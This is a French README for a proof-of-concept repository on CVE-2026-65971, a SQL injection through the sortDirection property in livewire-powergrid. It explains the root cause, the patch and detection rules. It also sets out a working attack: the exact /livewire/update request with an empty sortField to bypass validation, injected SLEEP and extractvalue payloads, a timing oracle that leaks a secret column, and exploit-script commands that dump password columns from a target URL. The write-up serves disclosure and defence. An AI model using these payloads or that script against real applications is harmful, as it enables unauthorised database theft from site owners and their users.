
Preuve de concept et analyse technique pour CVE-2026-65971 — injection SQL via la propriété Livewire sortDirection dans power-components/livewire-powergrid (< 6.10.4)
sortDirectionPreuve de concept et analyse technique complète pour CVE-2026-65971 / GHSA-7fgc-3h6c-698r,
une injection SQL dans power-components/livewire-powergrid
accessible via la propriété Livewire publique sortDirection.
| CVE | CVE-2026-65971 |
| GHSA | GHSA-7fgc-3h6c-698r |
| Paquet | power-components/livewire-powergrid (Composer / Packagist) |
| Versions affectées | >= 6.0.0, < 6.10.4 |
| Version corrigée | 6.10.4 |
| Faiblesse | CWE-89 — Neutralisation incorrecte des éléments spéciaux utilisés dans une commande SQL |
| Sévérité | 7.6 Élevée — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L |
| Signalé par | Caio Fabrício (@BiiTts) |
| Divulgation | Coordonnée, via un avis de sécurité privé GitHub |
| ├── poc/exploit_powergrid_sqli.py working exploit — confirm + blind extraction | |
| ├── lab/ build the vulnerable app to reproduce it yourself | |
| ├── evidence/EVIDENCE.txt raw lab notes from confirmation | |
| ├── patch/security-fix-v6.10.4.diff the security-relevant portion of the official fix | |
| └── detection/ Sigma rules + Nuclei template for defenders |
---
## 🧠 Résumé
PowerGrid est un composant de datatable pour Laravel + Livewire (~2k étoiles, largement utilisé dans
les panneaux d'administration Laravel). Son état de tri réside dans deux **propriétés Livewire publiques**:```php
public string $sortField = 'id';
public string $sortDirection = 'asc';
Dans Livewire, une propriété publique fait partie du format wire du composant — tout client qui peut atteindre le composant peut la définir via POST /livewire/update. C'est voulu ; la frontière de sécurité réside dans ce que le serveur fait de la valeur.
La fonctionnalité naturalSort() de PowerGrid construit une expression ORDER BY brute contenant le littéral placeholder {sortDirection}, et un pipeline substitue ce placeholder par la valeur de propriété brute, non validée avant de passer la chaîne à orderByRaw(). Le mot-clé de direction se retrouve donc tel quel dans le SQL.
La méthode orderBy() de Laravel rejette tout ce qui n'est pas asc/desc, et c'est cette validation qui rend le chemin de tri ordinaire sûr. Le bug est qu'un second chemin, non validé, mène à la même clause — et qu'un attaquant peut l'emprunter en contournant entièrement le chemin validant (voir Le contournement).
Résultat : du SQL arbitraire dans la clause ORDER BY, exploitable comme oracle aveugle booléen/temporel pour lire toutes les données que l'utilisateur de la base peut lire.
Toute personne pouvant atteindre une table PowerGrid qui utilise naturalSort peut lire des données arbitraires depuis la base de données — autres tables, hachages de mots de passe, jetons de session, clés API, enregistrements multi-tenant — en utilisant un oracle temporel / booléen.
SELECT.; UPDATE ... ne s'exécute pas. L'impact en écriture se limite à ce qu'une sous-requête peut déclencher.SLEEP() et des sous-requêtes lourdes — trivialement abusables pour bloquer les threads de la base.Les privilèges requis sont PR:L car une datatable se trouve normalement derrière l'authentification de l'application. Si la table affectée est rendue sur une page non authentifiée, recalculez avec PR:N → 8.2 Élevé.
Trois fichiers, trois étapes. Toutes les références concernent le tag vulnérable v6.10.3.
`src/Concerns/Sorting.php````php public string $sortField = 'id'; // line 11 public string $sortDirection = 'asc'; // line 13
Aucune des deux propriétés n'a de liste blanche, de règle de validation ou de setter de normalisation. `sortDirection` est uniquement affectée ou inversée :```php
public function reverseSort(): string // line 37
{
return $this->sortDirection === 'asc' ? 'desc' : 'asc';
}
updatedSortDirection() (ligne 103) existe — l'endroit naturel pour la validation — mais dans v6.10.3
il ne gère que la comptabilité du chargement paresseux. Il n'inspecte jamais la valeur.
Parce que Livewire hydrate les propriétés publiques directement à partir de la requête, sortDirection est
totalement contrôlée par l'attaquant, comme une chaîne arbitraire, à ce stade.
naturalSort() insère un espace réservésrc/Providers/Macros.php, lignes 102–116 — la macro de colonne naturalSort :```php
Column::macro('naturalSort', function (bool $when = false, ?string $tableName = null): Column {
$this->enableSort();
if ($when) {
$this->rawQueries[] = [
'method' => 'orderByRaw', // <-- raw sink
'sql' => Sql::sortStringAsNumber($this->dataField),
'bindings' => [],
];
}
return $this;
});
`Sql::sortStringAsNumber()` se résout en une expression propre à chaque pilote construite par
`getSortSqlByDriver()` dans `src/DataSource/Support/Sql.php` (lignes 60–100). Chaque variante de pilote
se termine par le même placeholder littéral :```php
$default = "$sortField+0 {sortDirection}"; // line 76
'8.0.4' => "CAST(NULLIF(REGEXP_REPLACE($sortField, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) {sortDirection}", // MySQL, line 81
'0' => "CAST($sortField AS INTEGER) {sortDirection}", // SQLite, line 84
'0' => "CAST(NULLIF(REGEXP_REPLACE($sortField, '\D', '', 'g'), '') AS INTEGER) {sortDirection}", // PgSQL, line 87
'0' => "CAST(SUBSTRING(...) AS INT) {sortDirection}", // SQL Server, line 90
La vulnérabilité est indépendante du driver — chaque branche interpole {sortDirection}.
`src/DataSource/Processors/Database/Pipelines/ColumnRawQueries.php````php private function resolvePlaceholders(?string $sql): ?string // line 56 { if (is_null($sql)) { return null; }
return preg_replace_callback('/\{(\w+)\}/', function ($matches) {
$property = trim($matches[1]);
return data_get($this->component, $property, ''); // line 65 — raw property, no escaping
}, $sql);
}
et l'exécution, ligne 52:```php
$query->{$method}($resolvedSql, $resolvedBindings); // $method === 'orderByRaw'
data_get($this->component, 'sortDirection') renvoie la chaîne de l'attaquant, preg_replace_callback
l'insère dans le texte SQL, et orderByRaw() — qui, par contrat, n'échappe pas son
argument — la transmet à la base de données.
Notez l'ironie amère une ligne plus bas : resolveBindings() (ligne 69) existe, et naturalSort
déclare 'bindings' => []. Le mécanisme de paramétrage sécurisé est juste là. Il ne peut pas être
utilisé pour un mot-clé de direction — ORDER BY x ? n'est pas du SQL valide, une direction ne peut jamais être un
paramètre lié — c'est précisément pourquoi un mot-clé de direction doit être mis sur liste blanche à la place.
POST /livewire/update ──▶ public string $sortDirection (Sorting.php:13, no validation) ──▶ data_get($component, 'sortDirection') (ColumnRawQueries.php:65) ──▶ "CAST(...) {sortDirection}" → "CAST(...) asc, (SELECT SLEEP(3))" ──▶ orderByRaw($sql) (ColumnRawQueries.php:52) ──▶ MySQL/MariaDB/PgSQL/SQLite/MSSQL
---
## 🔓 La contournement — pourquoi la validation de Laravel ne vous sauve pas
C'est la partie qui transforme une « interpolation brute » en un bug réellement exploitable, et c'est la
raison pour laquelle le problème a survécu dans un paquet mature et largement utilisé.
PowerGrid traite une requête à travers un **pipeline**. Deux étapes de ce pipeline touchent la
direction de tri :
**Pipeline `Sorting`** — `src/DataSource/Processors/Database/Pipelines/Sorting.php` :```php
public function handle(mixed $query, Closure $next): mixed
{
// ...
if (filled($this->component->sortField)) { // line 21 <-- THE GUARD
if ($this->component->multiSort) {
$this->applyMultipleSort($query);
} else {
$this->applySingleSort($query, $this->component->sortField, $this->component->sortDirection);
}
}
return $next($query);
}
private function applySingleSort(..., string $sortField, string $direction): void
{
// ...
$query->orderBy($this->component->resolveSortField($sortField), $direction); // line 42
}
orderBy() est l'API de validation de Laravel. Donnez-lui autre chose que asc/desc et elle
lève une exception :```
InvalidArgumentException: Order direction must be "asc" or "desc".
Donc, sur le chemin normal — l'utilisateur clique sur l'en-tête d'une colonne, `sortField=name`, `sortDirection=<payload>` —
le framework bloque l'injection. Un audit rapide s'arrête ici et conclut « atténué par Laravel ».
**Pipeline `ColumnRawQueries`** — le deuxième étage, montré ci-dessus — **n'a aucune protection de ce type**. Regardez
son `handle()` (lignes 21–27) : il itère sur les colonnes, et pour chaque colonne portant des `rawQueries`,
il les applique *inconditionnellement*. Il ne consulte jamais `sortField`. Il ne consulte jamais le résultat du
pipeline `Sorting`.
Cette asymétrie est le bug :
| `sortField` | Pipeline `Sorting` | Pipeline `ColumnRawQueries` | Résultat |
|---|---|---|---|
| `"name"` (rempli) | s'exécute → `orderBy()` **valide** → lève une exception sur le payload | s'exécute → injecte | ❌ bloqué par l'exception |
| `""` (vide) | `filled('')` est `false` → **ignoré entièrement** | s'exécute → injecte | ✅ **l'injection aboutit** |
Définir **`sortField` sur une chaîne vide** fait que l'étape de validation s'ignore elle-même, tandis que l'étape
des requêtes brutes émet toujours le `ORDER BY` de `naturalSort` avec le `{sortDirection}` de l'attaquant. La
validation de Laravel n'est jamais invoquée, car le chemin de code qui la contient ne s'exécute jamais.
**L'attaque complète repose donc sur deux champs, pas un seul :** `sortDirection` transporte le payload,
et `sortField=""` est la clé qui ouvre la porte.
---
## 🎯 Les champs exacts
Tout passe par le point de terminaison de mise à jour standard de Livewire. Pas d'en-têtes spéciaux, pas de
route personnalisée, pas de fonction d'administration.
**Point de terminaison :** `POST /livewire/update`
**Corps (JSON) :**```json
{
"_token": "<CSRF token from the page>",
"components": [
{
"snapshot": "<wire:snapshot of the PowerGrid component, taken from the rendered HTML>",
"updates": {
"sortField": "",
"sortDirection": "asc, (SELECT SLEEP(3))"
},
"calls": []
}
]
}
SQL résultant (lab MariaDB, table rooms, colonne name avec naturalSort) :```sql
select * from rooms
order by CAST(NULLIF(REGEXP_REPLACE(name, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) asc, (SELECT SLEEP(3))
limit 3 offset 0
Le payload se trouve dans un emplacement d'expression complète de la liste `ORDER BY`, c'est pourquoi une sous-requête nue fonctionne et pourquoi la clause reste du SQL valide.
---
## 🔬 Comment cela a été trouvé — le cheminement dans le code
L'ordre ci-dessous est l'ordre réel du raisonnement, y compris l'étape qui a failli clore l'investigation comme un faux positif.
**1. Surface d'attaque d'abord : les propriétés publiques de Livewire sont des entrées de l'attaquant.**
Le modèle même du framework indique que chaque propriété `public` d'un composant est modifiable côté client via `/livewire/update`. La question d'audit pour tout paquet Livewire n'est donc pas « y a-t-il une entrée utilisateur ? » mais « quelles propriétés publiques atteignent un puits dangereux ? ». Énumération des propriétés publiques de PowerGrid ; `$sortField` et `$sortDirection` se sont démarquées comme celles qui existent spécifiquement pour être composées en SQL.
**2. Suivez-les jusqu'à chaque puits.** J'ai cherché dans le paquet les API de SQL brut — `orderByRaw`, `whereRaw`, `selectRaw`, `havingRaw`, `DB::raw` — et celles qui pourraient recevoir ces propriétés. Le `'method' => 'orderByRaw'` de `naturalSort` dans `Macros.php` a été la correspondance.
**3. Trouvez la connexion entre propriété et puits.** Le SQL brut dans `Sql.php` ne référençait pas `$this->sortDirection` ; il contenait la chaîne littérale `{sortDirection}`. Un tel templating implique un résolveur quelque part. En grepant le motif d'accolades, on aboutit à `ColumnRawQueries::resolvePlaceholders()` et à son `data_get($this->component, $property, '')` — un lecteur de propriété générique sans échappement. Source et puits désormais connectés.
**4. L'étape qui a failli tout tuer : l'atténuation.** Première tentative réelle — mettre `sortDirection` à un payload et déclencher — n'a pas produit de fuite mais `InvalidArgumentException: Order direction must be "asc" or "desc".` Le `orderBy()` de Laravel l'interceptait. La conclusion tentante ici est *« le framework atténue, non exploitable »*, et cette conclusion aurait été fausse.
**5. Demandez d'où vient l'exception, pas seulement qu'elle se soit produite.** La trace pointait vers le `orderBy()` du pipeline `Sorting` — **une étape différente** du puits `orderByRaw()` identifié à l'étape 2. Deux étapes, deux écritures indépendantes dans le même `ORDER BY`, une seule d'entre elles validant. Cela a recadré la question de « puis-je vaincre le validateur de Laravel ? » (non — c'est une comparaison stricte) à **« puis-je atteindre l'étape brute sans exécuter l'étape de validation ? »**
**6. Examinez la garde.** L'étape de validation s'exécute sous `if (filled($this->component->sortField))`. `filled('')` vaut `false`. L'étape brute n'a aucune garde. Le contournement en était une conséquence directe : envoyez `sortField=""` et seule l'étape non gardée s'exécute.
**7. Confirmer empiriquement, deux fois, avec des techniques indépendantes.** Un seul signal positif n'est pas une découverte — un delta de temps pourrait être un limiteur de débit, une erreur pourrait être un 500 générique. Il a fallu à la fois une preuve par erreur (la base renvoyant la sous-requête injectée telle quelle) et un oracle booléen basé sur le temps (distinguant TRUE de FALSE sur des données réelles) avant de considérer l'exploit comme confirmé. Voir [Preuves](#-evidence).
**Enseignement généralisable :** une atténuation au niveau du framework ne protège que le chemin de code sur lequel elle se trouve. Lorsque deux étapes du pipeline écrivent dans la même clause SQL, « le framework valide » est une affirmation concernant l'une d'elles. Demandez toujours dans quelle étape la validation vit réellement, et si l'étape dangereuse peut s'exécuter seule.
---
## 🧪 Preuves
Lab: Laravel 11.53 + Livewire 3.8 + livewire-powergrid 6.10.3 + MariaDB, avec un composant PowerGrid `RoomTable` dont la colonne `name` déclare `->naturalSort(true)` et une table `rooms` contenant une colonne `secret`. Lab complet dans [`lab/`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/lab/).
**Basé sur l'erreur — la sous-requête injectée atteint la base telle quelle** (HTTP 500, `SQLSTATE[HY000] 1105`):```sql
select * from `rooms` order by CAST(NULLIF(REGEXP_REPLACE(name, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) asc,
(select extractvalue(1, concat(0x7e, (select secret from rooms limit 1))))
limit 3 offset 0
La base de données a analysé et exécuté un SELECT fourni par l'attaquant dans le ORDER BY. C'est
une preuve sans ambiguïté d'injection — le texte d'erreur contient le SQL injecté tel qu'exécuté, et non tel que
soumis.
Aveugle basée sur le temps — extraction arbitraire de données :``` asc -> 0.02s baseline asc, (SELECT SLEEP(3)) -> 9.04s injection executes asc, (SELECT SLEEP(3) WHERE (SELECT secret FROM rooms LIMIT 1) LIKE 'TOPSECRET%')-> 9.03s TRUE — value leaks asc, (SELECT SLEEP(3) WHERE (SELECT secret FROM rooms LIMIT 1) LIKE 'ZZZ%') -> 0.02s FALSE — oracle is sound
La paire TRUE/FALSE est ce qui permet de passer de « quelque chose est lent » à « je peux lire vos données » :
la même forme de requête renvoie deux temporisations nettement séparées selon une condition portant sur une
valeur que l'attaquant ne peut pas voir. C'est un oracle fonctionnel, et `poc/exploit_powergrid_sqli.py`
le parcourt caractère par caractère.
> `SLEEP(3)` produit ~9s plutôt que ~3s car le tri applique l'expression d'attente sur plusieurs lignes —
> un signal plus fort, pas plus faible.
Notes brutes : [`evidence/EVIDENCE.txt`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/evidence/EVIDENCE.txt).
---
## ⚙️ Preuve de concept
Sans dépendances, uniquement la bibliothèque standard de Python 3.```bash
python3 poc/exploit_powergrid_sqli.py http://127.0.0.1:8001/rooms
Cela va :
GET la page et extraire le jeton CSRF ainsi que le wire:snapshot du composant PowerGrid ;sortDirection=asc comme référence ;sortField="" / sortDirection="asc, (SELECT SLEEP(3))" et comparer les temps ;Options utiles :```bash
python3 poc/exploit_powergrid_sqli.py http://target/rooms --check-only
python3 poc/exploit_powergrid_sqli.py http://target/rooms --table users --column password --length 20
python3 poc/exploit_powergrid_sqli.py http://target/admin/rooms --cookie "laravel_session=..."
Contre une cible patchée `6.10.4`, le script ne signale aucun delta de temps et se termine proprement — la
liste blanche réduit chaque payload à `asc`.
---
## ✅ Analyse du correctif (`v6.10.4`)
Les mainteneurs ont livré **une défense en profondeur sur quatre sites d'appel** — la forme adaptée pour
cette classe de bug. La primitive :```php
// src/DataSource/Support/Sql.php
public static function sanitizeSortDirection(?string $direction): string
{
$direction = strtolower(trim((string) $direction));
return in_array($direction, ['asc', 'desc'], true) ? $direction : 'asc';
}
Une liste blanche stricte avec un défaut sûr — ni liste noire, ni échappement, ni regex. Pour un mot-clé qui ne peut pas être un paramètre lié, c'est le seul contrôle correct.
Appliqué à :
ColumnRawQueries::resolvePlaceholders() — le sink. {sortDirection} est maintenant un cas particulier
et n'est résolu que via sanitizeSortDirection(), jamais via le générique data_get().Concerns\Sorting::updatedSortDirection() — le hook Livewire. Sanitise à l'écriture, de sorte que la
propriété elle-même ne peut plus contenir de payload.Concerns\Sorting::sortBy() — sanitise l'argument de direction.Pipelines\Sorting::applySingleSort() / applyMultipleSort() — couvre les callbacks
sortUsing fournis par l'utilisateur, qui peuvent construire leur propre orderByRaw. Cela a fermé une seconde
voie connexe en plus de celle signalée à l'origine.Des tests de régression ont été ajoutés : tests/Feature/SortDirectionInjectionTest.php et un
fixture DishesNaturalSortTable.
Vérification du patch effectuée sur le tag publié (pas sur une promesse) : clonage de v6.10.4, recherche par grep de
chaque sink de direction brut, exécution de la suite (30/30 réussis), et fuzzing de sanitizeSortDirection() avec 17
payloads — le payload temporel de l'avis, octets nuls, commentaires SQL, littéraux hexadécimaux, casse mixte,
padding d'espaces, unicode. Tous se réduisent à asc ou desc. Les sinks restants (export via
WithExport/ExportableJob, Scout) passent par un orderBy() validé plutôt que par orderByRaw()
et ne sont pas injectables.
Verdict : CORRIGÉ.
La partie du diff pertinente pour la sécurité se trouve dans patch/.
composer require power-components/livewire-powergrid:^6.10.4 composer audit
**Mise à niveau — n'essayez pas de contourner le problème.** Si vous ne pouvez vraiment pas mettre à niveau aujourd'hui, l'atténuation temporaire
consiste à assainir sur le composant lui-même:```php
public function updatedSortDirection(): void
{
$this->sortDirection = in_array(strtolower(trim($this->sortDirection)), ['asc', 'desc'], true)
? strtolower(trim($this->sortDirection))
: 'asc';
}
Ceci est une solution provisoire. Mettez à niveau.
La condition préalable est qu'au moins une colonne déclare naturalSort :```bash
grep -rn "naturalSort" app/ resources/
L'absence de colonne `naturalSort` signifie que le `ORDER BY` brut n'est jamais enregistré et que le chemin principal n'est pas accessible. Notez que `v6.10.4` a également durci le chemin du rappel `sortUsing` — si vos rappels de tri personnalisés construisent du SQL brut à partir de la direction, vous êtes également exposés par ce chemin, avec ou sans `naturalSort`.
### Détection de l'exploitation
L'attaque se présente comme une requête Livewire d'apparence normale ; il n'y a ni point de terminaison ni méthode inhabituels sur lesquels déclencher une alerte. Examinez la **valeur** de `sortDirection` — le trafic légitime n'envoie jamais autre chose que `asc` ou `desc`.
Tout le reste est, par définition, anormal. Signaux pratiques :
- `POST /livewire/update` dont le corps JSON contient `"sortDirection"` avec une valeur qui n'est pas exactement `asc`/`desc` (insensible à la casse) — grande fiabilité, quasi aucun faux positif ;
- la même requête portant `"sortField":""` (vide) accompagné d'un `sortDirection` non trivial — la signature exacte du contournement ;
- mots-clés SQL dans cette valeur : `SELECT`, `SLEEP`, `BENCHMARK`, `extractvalue`, `updatexml`, `0x` ;
- journaux d'erreurs applicatives avec `SQLSTATE[HY000] 1105` ou `SQLSTATE[42000]` faisant référence à `order by` ;
- rafales de requêtes POST de même forme avec des temps de réponse se regroupant de manière bimodale (rapides/lentes) — un oracle aveugle en cours d'exploration.
Deux règles Sigma sont fournies dans [`detection/sortdirection-sqli.yml`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/detection/sortdirection-sqli.yml) — l'une sur le corps de la requête, l'autre sur la signature d'erreur de base de données lorsque la journalisation du corps n'est pas disponible. Un modèle Nuclei qui signale les composants PowerGrid atteignables (la surface préalable requise) se trouve dans [`detection/nuclei-powergrid-sortdirection-sqli.yaml`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/detection/nuclei-powergrid-sortdirection-sqli.yaml) ; confirmez toute correspondance avec `poc/exploit_powergrid_sqli.py --check-only`.
---
## 📚 Références
- GitHub Security Advisory — [GHSA-7fgc-3h6c-698r](https://github.com/Power-Components/livewire-powergrid/security/advisories/GHSA-7fgc-3h6c-698r)
- NVD — [CVE-2026-65971](https://nvd.nist.gov/vuln/detail/CVE-2026-65971)
- Publication du correctif — [`v6.10.4`](https://github.com/Power-Components/livewire-powergrid/releases/tag/v6.10.4)
- Diff du correctif — [`v6.10.3...v6.10.4`](https://github.com/Power-Components/livewire-powergrid/compare/v6.10.3...v6.10.4)
- CWE-89 — [Mauvaise neutralisation d'éléments spéciaux utilisés dans une commande SQL](https://cwe.mitre.org/data/definitions/89.html)
- Livewire — [Les propriétés sont modifiables côté client](https://livewire.laravel.com/docs/properties#security-concerns)
---
## ⚖️ Mentions légales
Publié après une divulgation coordonnée, un correctif publié et un avis public du fournisseur. Le PoC cible le laboratoire local dans [`lab/`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/lab/) et est destiné aux défenseurs validant leur propre exposition et aux chercheurs étudiant cette classe de bugs. L'exécuter contre des systèmes que vous n'êtes pas autorisés à tester est illégal. Vous êtes responsable de ce que vous en faites.
---
**Caio Fabrício** — [@BiiTts](https://github.com/BiiTts) · [LinkedIn](https://www.linkedin.com/in/caio-fabrício-b978131b5/)
| Champ | Rôle | Valeur |
|---|
components[0].updates.sortDirection | point d'injection | la charge utile SQL, préfixée par une direction valide pour que la clause reste syntaxiquement complète |
components[0].updates.sortField | clé de contournement | "" — vide, pour contourner le pipeline de validation Sorting |
components[0].snapshot | infrastructure | état du composant Livewire ; extrait de wire:snapshot="..." dans le HTML de la page (déséchapper le HTML) |
_token / X-CSRF-TOKEN | infrastructure | extrait de data-csrf="..." ou du bloc "csrf":"..." dans la page |